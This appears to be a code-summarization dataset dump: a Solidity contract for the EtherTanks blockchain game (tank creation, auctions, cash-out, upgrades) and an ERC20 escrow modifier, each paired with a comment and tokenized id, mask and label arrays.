newTankHull(140, 4, 1);
newTankHull(200, 3, 1);
newTankHull(240, 3, 1);
newTankHull(200, 6, 2);
newTankHull(360, 4, 2);
newTankHull(180, 9, 3);
newTankHull(240, 8, 3);
newTankHull(500, 4, 2);
newTankHull(440, 6, 3);
// Creating 11 weapons
newTankWeapon(6, 14, 5, 1);
newTankWeapon(18, 26, 3, 2);
newTankWeapon(44, 66, 2, 1);
newTankWeapon(21, 49, 3, 1);
newTankWeapon(60, 90, 2, 2);
newTankWeapon(21, 49, 2, 2);
newTankWeapon(48, 72, 3, 2);
newTankWeapon(13, 29, 9, 3);
newTankWeapon(36, 84, 4, 3);
newTankWeapon(120, 180, 2, 3);
newTankWeapon(72, 108, 4, 3);
// Creating first 11 tank types
newTankProduct("LT-1", 1, 1, 10000000000000000, 100000000000000, now);
newTankProduct("LT-2", 2, 2, 50000000000000000, 500000000000000, now);
newTankProduct("MT-1", 3, 3, 100000000000000000, 1000000000000000, now);
newTankProduct("HT-1", 4, 4, 500000000000000000, 5000000000000000, now);
newTankProduct("SPG-1", 5, 5, 500000000000000000, 5000000000000000, now);
newTankProduct("MT-2", 6, 6, 700000000000000000, 7000000000000000, now+(60*60*2));
newTankProduct("HT-2", 7, 7, 1500000000000000000, 15000000000000000, now+(60*60*5));
newTankProduct("LT-3", 8, 8, 300000000000000000, 3000000000000000, now+(60*60*8));
newTankProduct("MT-3", 9, 9, 1500000000000000000, 15000000000000000, now+(60*60*24));
newTankProduct("SPG-2", 10, 10, 2000000000000000000, 20000000000000000, now+(60*60*24*2));
newTankProduct("HT-3", 11, 11, 2500000000000000000, 25000000000000000, now+(60*60*24*3));
}
function cashOut (uint256 _amount) public payable {
require (_amount >= 0); //just in case
require (_amount == uint256(uint128(_amount))); // Just some magic stuff
require (this.balance >= _amount); // Checking if this contract has enought money to pay
require (balances[msg.sender] >= _amount); // Checking if player has enough funds on his balance
if (_amount == 0){
_amount = balances[msg.sender];
// If the requested amount is 0, it means that player wants to cashout the whole amount of balance
}
if (msg.sender.send(_amount)){ // Sending funds and if the transaction is successful
balances[msg.sender] -= _amount; // Changing the amount of funds on the player's in-game balance
}
EventCashOut (msg.sender, _amount);
return;
}
function login (string _hash) public {
EventLogin (msg.sender, _hash);
return;
}
//upgrade tank
// @_upgradeChoice: 0 is for armor, 1 is for damage, 2 is for speed, 3 is for attack speed
function upgradeTank (uint32 _tankID, uint8 _upgradeChoice) public payable {
require (_tankID > 0 && _tankID < newIdTank); // Checking if the tank exists
require (tanks[_tankID].owner == msg.sender); // Checking if sender owns this tank
require (_upgradeChoice >= 0 && _upgradeChoice < 4); // Has to be between 0 and 3
require (tanks[_tankID].upgrades[_upgradeChoice] < 5); // Only 5 upgrades are allowed for each type of tank's parametres
require (msg.value >= upgradePrice); // Checking if there is enough amount of money for the upgrade
tanks[_tankID].upgrades[_upgradeChoice]++; // Upgrading
balances[msg.sender] += msg.value-upgradePrice; // Returning the rest amount of money back to the tank owner
balances[UpgradeMaster] += upgradePrice; // Sending the amount of money spent on the upgrade to the contract creator
EventUpgradeTank (msg.sender, _tankID, _upgradeChoice);
return;
}
// Transfer. Using for sending tanks to another players
function _transfer (uint32 _tankID, address _receiver) public {
require (_tankID > 0 && _tankID < newIdTank); // Checking if the tank exists
require (tanks[_tankID].owner == msg.sender); //Checking if sender owns this tank
require (msg.sender != _receiver); // Checking that the owner is not sending the tank to himself
require (tanks[_tankID].selling == false); //Making sure that the tank is not on the auction now
tanks[_tankID].owner = _receiver; // Changing the tank's owner
tanks[_tankID].earner = _receiver; // Changing the tank's earner address
EventTransfer (msg.sender, _receiver, _tankID);
return;
}
// Transfer Action. Using for sending tanks to EtherTanks' contracts. For example, the battle-area contract.
function _transferAction (uint32 _tankID, address _receiver, uint8 _ActionType) public {
require (_tankID > 0 && _tankID < newIdTank); // Checking if the tank exists
require (tanks[_tankID].owner == msg.sender); // Checking if sender owns this tank
require (msg.sender != _receiver); // Checking that the owner is not sending the tank to himself
require (tanks[_tankID].selling == false); // Making sure that the tank is not on the auction now
tanks[_tankID].owner = _receiver; // Changing the tank's owner
// As you can see, we do not change the earner here.
// It means that technically speaking, the tank's owner is still getting his earnings.
// It's logically that this method (transferAction) will be used for sending tanks to the battle area contract or some other contracts which will be interacting with tanks
// Be careful with this method! Do not call it to transfer tanks to another player!
// The reason you should not do this is that the method called "transfer" changes the owner and earner, so it is possible to change the earner address to the current owner address any time.
// However, for our special contracts like battle area, you are able to read this contract and make sure that your tank will not be sent to anyone else, only back to you.
// So, please, do not use this method to send your tanks to other players. Use it just for interacting with EtherTanks' contracts, which will be listed on EtherTanks.com
EventTransferAction (msg.sender, _receiver, _tankID, _ActionType);
return;
}
//selling
function sellTank (uint32 _tankID, uint256 _startPrice, uint256 _finishPrice, uint256 _duration) public {
require (_tankID > 0 && _tankID < newIdTank);
require (tanks[_tankID].owner == msg.sender);
require (tanks[_tankID].selling == false); // Making sure that the tank is not on the auction already
require (_startPrice >= _finishPrice);
require (_startPrice > 0 && _finishPrice >= 0);
require (_duration > 0);
require (_startPrice == uint256(uint128(_startPrice))); // Just some magic stuff
require (_finishPrice == uint256(uint128(_finishPrice))); // Just some magic stuff
auctions[newIdAuctionEntity] = AuctionEntity(_tankID, _startPrice, _finishPrice, now, _duration);
tanks[_tankID].selling = true;
tanks[_tankID].auctionEntity = newIdAuctionEntity++;
EventAuction (msg.sender, _tankID, _startPrice, _finishPrice, _duration, now);
}
//bidding function, people use this to buy tanks
function bid (uint32 _tankID) public payable {
require (_tankID > 0 && _tankID < newIdTank); // Checking if the tank exists
require (tanks[_tankID].selling == true); // Checking if this tanks is on the auction now
AuctionEntity memory currentAuction = auctions[tanks[_tankID].auctionEntity]; // The auction entity for this tank. Just to make the line below easier to read
uint256 currentPrice = currentAuction.startPrice-(((currentAuction.startPrice-currentAuction.finishPrice)/(currentAuction.duration))*(now-currentAuction.startTime));
// The line above calculates the current price using the formula StartPrice-(((StartPrice-FinishPrice)/Duration)*(CurrentTime-StartTime)
if (currentPrice < currentAuction.finishPrice){ // If the auction duration time has been expired
currentPrice = currentAuction.finishPrice; // Setting the current price as finishPrice
}
require (currentPrice >= 0); // Who knows :)
require (msg.value >= currentPrice); // Checking if the buyer sent the amount of money which is more or equal the current price
// All is fine, changing balances and changing tank's owner
uint256 marketFee = (currentPrice/100)*3; // Calculating 3% of the current price as a fee
balances[tanks[_tankID].owner] += currentPrice-marketFee; // Giving [current price]-[fee] amount to seller
balances[AuctionMaster] += marketFee; // Sending the fee amount to the contract creator's balance
balances[msg.sender] += msg.value-currentPrice; //Return the rest amount to buyer
tanks[_tankID].owner = msg.sender; // Changing the owner of the tank
tanks[_tankID].selling = false; // Change the tank status to "not selling now"
delete auctions[tanks[_tankID].auctionEntity]; // Deleting the auction entity from the storage for auctions -- we don't need it anymore
tanks[_tankID].auctionEntity = 0; // Not necessary, but deleting the ID of auction entity which was deleted in the operation above
EventBid (_tankID);
}
//cancel auction
function cancelAuction (uint32 _tankID) public {
require (_tankID > 0 && _tankID < newIdTank); // Checking if the tank exists
require (tanks[_tankID].selling == true); // Checking if this tanks is on the auction now
require (tanks[_tankID].owner == msg.sender); // Checking if sender owns this tank
tanks[_tankID].selling = false; // Change the tank status to "not selling now"
delete auctions[tanks[_tankID].auctionEntity]; // Deleting the auction entity from the storage for auctions -- we don't need it anymore
tanks[_tankID].auctionEntity = 0; // Not necessary, but deleting the ID of auction entity which was deleted in the operation above
EventCancelAuction (_tankID);
}
function newTankProduct (string _name, uint32 _hull, uint32 _weapon, uint256 _price, uint256 _earning, uint256 _releaseTime) private {
tankProducts[newIdTankProduct++] = TankProduct(_name, _hull, _weapon, _price, _price, _earning, _releaseTime);
EventProduct (newIdTankProduct-1, _name, _hull, _weapon, _price, _earning, _releaseTime, now);
}
function newTankHull (uint32 _armor, uint32 _speed, uint8 _league) private {
tankHulls[newIdTankHull++] = TankHull(_armor, _speed, _league);
}
function newTankWeapon (uint32 _minDamage, uint32 _maxDamage, uint32 _attackSpeed, uint8 _league) private {
tankWeapons[newIdTankWeapon++] = TankWeapon(_minDamage, _maxDamage, _attackSpeed, _league);
}
function buyTank (uint32 _tankproductID) public payable {
require (tankProducts[_tankproductID].currentPrice > 0 && msg.value > 0); //value is more than 0, price is more than 0
require (msg.value >= tankProducts[_tankproductID].currentPrice); //value is higher than price
require (tankProducts[_tankproductID].releaseTime <= now); //checking if this tank was released.
// Basically, the releaseTime was implemented just to give a chance to get the new tank for as many players as possible.
// It prevents the using of bots.
if (msg.value > tankProducts[_tankproductID].currentPrice){
// If player payed more, put the rest amount of money on his balance
balances[msg.sender] += msg.value-tankProducts[_tankproductID].currentPrice;
}
tankProducts[_tankproductID].currentPrice += tankProducts[_tankproductID].earning;
for (uint32 index = 1; index < newIdTank; index++){
if (tanks[index].productID == _tankproductID){
balances[tanks[index].earner] += tankProducts[_tankproductID].earning;
tanks[index].earned += tankProducts[_tankproductID].earning;
}
}
if (tanksBeforeTheNewTankType() == 0 && newIdTankProduct <= 121){
newTankType();
}
tanks[newIdTank++] = TankEntity (_tankproductID, [0, 0, 0, 0], msg.sender, msg.sender, false, 0, 0, 0);
// After all owners of the same type of tank got their earnings, admins get the amount which remains and no one need it
// Basically, it is the start price of the tank.
balances[TankSellMaster] += tankProducts[_tankproductID].startPrice;
EventBuyTank (msg.sender, _tankproductID, newIdTank-1);
return;
}
// This is the tricky method which creates the new type tank.
function newTankType () public {
if (newIdTankProduct > 121){
return;
}
//creating new tank type!
if (createNewTankHull < newIdTankHull - 1 && createNewTankWeapon >= newIdTankWeapon - 1) {
createNewTankWeapon = 1;
createNewTankHull++;
} else {
createNewTankWeapon++;
if (createNewTankHull == createNewTankWeapon) {
createNewTankWeapon++;
}
}
newTankProduct ("Tank", uint32(createNewTankHull), uint32(createNewTankWeapon), 200000000000000000, 3000000000000000, now+(60*60));
return;
}
// Our storage, keys are listed first, then mappings.
// Of course, instead of some mappings we could use arrays, but why not
uint32 public newIdTank = 1; // The next ID for the new tank
uint32 public newIdTankProduct = 1; // The next ID for the new tank type
uint32 public newIdTankHull = 1; // The next ID for the new hull
uint32 public newIdTankWeapon = 1; // The new ID for the new weapon
uint32 public createNewTankHull = 1; // For newTankType()
uint32 public createNewTankWeapon = 0; // For newTankType()
uint256 public newIdAuctionEntity = 1; // The next ID for the new auction entity
mapping (uint32 => TankEntity) tanks; // The storage
mapping (uint32 => TankProduct) tankProducts;
mapping (uint32 => TankHull) tankHulls;
mapping (uint32 => TankWeapon) tankWeapons;
mapping (uint256 => AuctionEntity) auctions;
mapping (address => uint) balances;
uint256 public constant upgradePrice = 50000000000000000; // The fee which the UgradeMaster earns for upgrading tanks
function getTankName (uint32 _ID) public constant returns (string){
return tankProducts[_ID].name;
}
function getTankProduct (uint32 _ID) public constant returns (uint32[6]){
return [tankHulls[tankProducts[_ID].hull].armor, tankHulls[tankProducts[_ID].hull].speed, tankWeapons[tankProducts[_ID].weapon].minDamage, tankWeapons[tankProducts[_ID].weapon].maxDamage, tankWeapons[tankProducts[_ID].weapon].attackSpeed, uint32(tankProducts[_ID].releaseTime)];
}
function getTankDetails (uint32 _ID) public constant returns (uint32[6]){
return [tanks[_ID].productID, uint32(tanks[_ID].upgrades[0]), uint32(tanks[_ID].upgrades[1]), uint32(tanks[_ID].upgrades[2]), uint32(tanks[_ID].upgrades[3]), uint32(tanks[_ID].exp)];
}
function getTankOwner(uint32 _ID) public constant returns (address){
return tanks[_ID].owner;
}
function getTankSell(uint32 _ID) public constant returns (bool){
return tanks[_ID].selling;
}
function getTankTotalEarned(uint32 _ID) public constant returns (uint256){
return tanks[_ID].earned;
}
function getTankAuctionEntity (uint32 _ID) public constant returns (uint256){
return tanks[_ID].auctionEntity;
}
function getCurrentPrice (uint32 _ID) public constant returns (uint256){
return tankProducts[_ID].currentPrice;
}
function getProductEarning (uint32 _ID) public constant returns (uint256){
return tankProducts[_ID].earning;
}
function getTankEarning (uint32 _ID) public constant returns (uint256){
return tanks[_ID].earned;
}
function getCurrentPriceAuction (uint32 _ID) public constant returns (uint256){
require (getTankSell(_ID));
AuctionEntity memory currentAuction = auctions[tanks[_ID].auctionEntity]; // The auction entity for this tank. Just to make the line below easier to read
uint256 currentPrice = currentAuction.startPrice-(((currentAuction.startPrice-currentAuction.finishPrice)/(currentAuction.duration))*(now-currentAuction.startTime));
if (currentPrice < currentAuction.finishPrice){ // If the auction duration time has been expired
currentPrice = currentAuction.finishPrice; // Setting the current price as finishPrice
}
return currentPrice;
}
function getPlayerBalance(address _player) public constant returns (uint256){
return balances[_player];
}
function getContractBalance() public constant returns (uint256){
return this.balance;
}
function howManyTanks() public constant returns (uint32){
return newIdTankProduct;
}
function tanksBeforeTheNewTankType() public constant returns (uint256){
return 1000+(((newIdTankProduct)+10)*((newIdTankProduct)+10)*(newIdTankProduct-11))-newIdTank;
}
}
/*
EtherTanks.com
EthereTanks.com
*/ | Change the tank status to "not selling now"
| tanks[_tankID].selling = false; | 12,630,239 | [
1,
3043,
326,
268,
2304,
1267,
358,
315,
902,
357,
2456,
2037,
6,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
3639,
268,
19965,
63,
67,
88,
2304,
734,
8009,
87,
1165,
310,
273,
629,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/80001/0x144e1C4a983f352f691a14A590B4a01faF8CCf09/sources/contracts/ERC20EscrowToPay.sol | * @notice Modifier checks if msg.sender is the requestpayment payer. @param _paymentRef Reference of the requestpayment related. @dev It requires msg.sender to be equal to requestMapping[_paymentRef].payer./ | modifier OnlyPayer(bytes memory _paymentRef) {
require(msg.sender == requestMapping[_paymentRef].payer, "Not Authorized.");
_;
}
| 5,670,089 | [
1,
9829,
4271,
309,
1234,
18,
15330,
353,
326,
590,
9261,
293,
1773,
18,
225,
389,
9261,
1957,
6268,
434,
326,
590,
9261,
3746,
18,
225,
2597,
4991,
1234,
18,
15330,
358,
506,
3959,
358,
590,
3233,
63,
67,
9261,
1957,
8009,
84,
1773,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
9606,
5098,
52,
1773,
12,
3890,
3778,
389,
9261,
1957,
13,
288,
203,
3639,
2583,
12,
3576,
18,
15330,
422,
590,
3233,
63,
67,
9261,
1957,
8009,
84,
1773,
16,
315,
1248,
6712,
1235,
1199,
1769,
203,
3639,
389,
31,
203,
565,
289,
203,
377,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.